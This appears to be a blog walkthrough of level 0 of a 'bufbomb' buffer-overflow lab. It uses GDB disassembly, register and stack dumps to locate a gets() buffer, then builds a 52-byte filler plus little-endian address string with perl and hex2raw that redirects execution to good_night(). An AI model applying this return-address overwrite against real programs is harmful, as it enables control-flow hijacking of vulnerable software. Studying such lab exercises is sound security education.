Level 0. Good Night Like Yesterday

8 minute read

Published:

Primary purpose:

We have to provide an input such that after procedure test() call function ah_choo() program doesn’t return to procedure test(), yet executes procedure good_night() as described below.

void good_night() {
         printf(“OK: Instead of good bye, good night()\n”);
         validate(0);
         exit(0);
}

We can see that in other words we have to change the return address of function ah_choo() so that it doesn’t return to procedure test(), yet executes procedure good_night().

Beforehand we had known the address of procedure good_night():

08048b50 < good_night >: -> address

Now open your terminal, go to the directory where executable file bufbomb is located and type this command:

gdb bufbomb
(gdb) disas test

Will give this result:

Dump of assembler code for function test:

AddressOperationElements in operation
0x08048dbb <+0>:push%ebx
0x08048dbc <+1>:sub$0x28, %esp
0x08048dbf <+4>:call0x8048da2 < uniqueval >
0x08048dc4 <+9>:mov%eax, 0x1c(%esp)
0x08048dc8 <+13>:call0x8048d04 < ah_shoo >
0x08048dcd <+18>:mov%eax, %ebx
0x08048dcf <+20>:call0x8048da2 < uniqueval >
0x08048dd4 <+25>:mov0x1c(%esp), %edx
0x08048dd8 <+29>:cmp%edx, %eax
0x08048dda <+31>:je0x8048dea < test+47 >
0x08048ddc <+33>:movl$0x804a26d, (%esp)
0x08048de3 <+40>:call0x8048810 < puts@plt >
0x08048de8 <+45>:jmp0x8048e30 < test+117 >
0x08048dea <+47>:cmp0x804d10c, %ebx
0x08048df0 <+53>:jne0x8048e18 < test+93 >
0x08048df2 <+55>:mov%ebx, 0x8(%esp)
0x08048df6 <+59>:movl$0x804a282, 0x4(%esp)
0x08048dfe <+67>:movl$0x1, (%esp)
0x08048e05 <+74>:call0x8048900 < __printf_chk@plt >
0x08048e0a <+79>:movl$0x3, (%esp)
0x08048e11 <+86>:call0x8049171 < validate >
0x08048e16 <+91>:jmp0x8048e30 < test+117 >

-Type < return > to continue, or q < return > to quit-

From above assembly code you can see a line at address 0x08048dc8 <+13> has a command call 0x8048d04 < ah_shoo > which means procedure test() calls function ah_shoo(). The return address of function ah_shoo() is 0x08048dcd. Now let’s see what function ah_shoo() does.

Still using GDB, type this command:

(gdb) disas ah_shoo

Will give this result:

Dump of assembler code for function ah_shoo:

AddressOperationElements in operation
0x08048d04 <+0>:sub$0xc, %esp
0x08048d07 <+3>:call0x8048cec
0x08048d0c <+8>:add$0xc, %esp
0x08048d0f <+11>:ret 

End of assembler dump.

We can see that function ah_shoo() calls function ah_choo(), where the return address of function ah_choo() is 0x08048d0c. We have to change this return address so that after function ah_choo() being called, program doesn’t execute instruction “add $0xc, %esp” etc. which can go back to procedure test().

Let we see what function ah_choo() does.

Still using GDB, type this command:

(gdb) b ah_choo
Breakpoint 1 at 0x8048cec
(gdb) run -u eksperimen
Userid: eksperimen
Cookie: 0x1d9ed824
Masukkan input:
Breakpoint 1, 0x08048cec in ah_choo ()

After that type this command:

(gdb) ni
(gdb) disas

Will give this result:

Dump of assembler code for function ah_choo:

AddressOperationElements in operation
0x08048cec <+0>:sub$0x4c, %esp
=> 0x08048cef <+3>:lea0x18(%esp), %eax
0x08048cf3 <+7>:mov%eax, (%esp)
0x08048cf6 <+10>:call0x8048c56
0x08048cfb <+15>:mov$0x1, %eax
0x08048d00 <+20>:add$0x4c, %esp
0x08048d03 <+23>:ret 

End of assembler dump.

Additional info: I use “eksperimen” as my username and the cookie generated is 0x1d9ed824.

Ok, next!

From function ah_choo() we can see that it calls gets(). We need to know the initial position of function ah_choo() in saving user input.

Still using GDB, type this command:

(gdb) ni
0x08048cf3 in ah_choo ()
(gdb) ni
0x08048cf6 in ah_choo ()
(gdb) ni
AAA
0x08048cfb in ah_choo ()
(gdb) i r

Will give this result:

Info register  
eax0x556836501432893008
ecx0xf7fbb8a4-134498140
edx0xa10
ebx0x00
esp0x556836380x55683638 <_reserved+1037880>
ebp0x55685ff00x55685ff0 <_reserved+1048560>
esi0x33
edi0x00
eip0x8048cfb0x8048cfb <ah_choo+15>
eflags0x206[ PF IF ]
cs0x2335
ss0x2b43
ds0x2b43
es0x2b43
fs0x00
gs0x6399

When the program reaches command gets(), we need to give an input. Give a string input, where in this case I gave string AAA which has value 414141 in hexadecimal.

Then we use command i r to see the contents of registers. We can see that the address of register %esp is at 0x55683638. So, what happens on function ah_choo()’s stack frame after we give an input AAA?

Still using GDB, type this command:

(gdb) x/20x $esp

Stack Frame    
0x55683638 <_reserved+1037880>:0x556836500x000000000x55685ff00xf7e467d4
0x55683648 <_reserved+1037896>:0xf7fba3cc0x556836640x004141410xf7e46654
0x55683658 <_reserved+1037912>:0x00000e160xf7fba3cc0xf7fbb8980x2619a11e
0x55683668 <_reserved+1037928>:0x000000000xf7fd60000x000000000x08048db7
0x55683678 <_reserved+1037944>:0x00000e160x0000000a0x000000000x08048d0c

We use command x/20x $esp to see the contents of stack frame of the current function as much as 20 blocks with the address of register %esp is at the very bottom, in this case it’s located at 0x55683638. Because the address of register %esp is the lowest and each block within the stack has an address with multiple of 4, we can calculate the address where our input AAA (414141) resides.

From above illustration we can see that the stack’s block that has value 0x00414141 is located at the second row, and it is our input. To prove our calculation in the right track, let we calculate the address starting from 0x55683638 (the contents of this address is 0x55683650).

Still using GDB, type this command:

(gdb) p/x 0x55683638+24
$1 = 0x55683650
(gdb) x/ 0x55683650

Addresscontents
0x55683650 <_reserved+1037904>:0x00414141

We use x/ 0x55683650 to see the contents of address 0x55683650. Evidently, the contents of that address is 0x00414141. So that’s right if our input AAA starts from that address.

Now let’s take a look at the contents of the stack. From the previous explanation, we know that the return address of function ah_choo() is 0x08048d0c. This return address will make our program being redirect to procedure test(). Because we want to redirect it to procedure good_night(), we must change that return address with the return address of procedure good_night().

We have to find the return address of function ah_choo(), namely 0x08048d0c on the stack frame with command x/20x $esp. We can find it in the last line. Because we had known that our input resides at address 0x55683650, we can calculate the number of characters needed to overwrite the return address 0x08048d0c. In this case, there are 52 characters represented in hexadecimal (2 digits) that should be included to corrupt all the stack’s blocks below the block of return address. That 52 characters are free, it will only be a medium to accompany us to go to the block of function ah_choo() return address. After we input that 52 characters, we need 4 characters again to substitute the function ah_choo() return address. So, what are the 4 characters? Yes, they are the address of procedure good_night(), namely 08048b50.

Quit from GDB by typing q.

In your terminal, type this command:

perl -e ‘print “61 “x32, “62 “x20, “50 8b 04 08”’ > hex0
./hex2raw < hex0 > raw0

The first row is for writing character 61 as much as 32 times and character 62 as much as 20 times and 4 characters of return address into a text file named hex0. These characters are free and not neccessarily be 61 or 62. After those free 52 characters, we need to give the return address of procedure good_night(). Because my machine is Little Endian, I reverse the address from 08048b50 to 50 8b 04 08.

The second row is for converting the input string from text file hex0 into hexadecimal representation and save it into a file named raw0.

Then we go back into GDB with these commands:

gdb bufbomb
(gdb) run -u eksperimen < raw0
Userid: eksperimen
Cookie: 0x1d9ed824
Masukkan input:
OK: Instead of good bye, good_night()
VALID
Selamat!
[Inferior 1 (process 3943) exited normally]

WOW! We did it!

Here I come, level 1!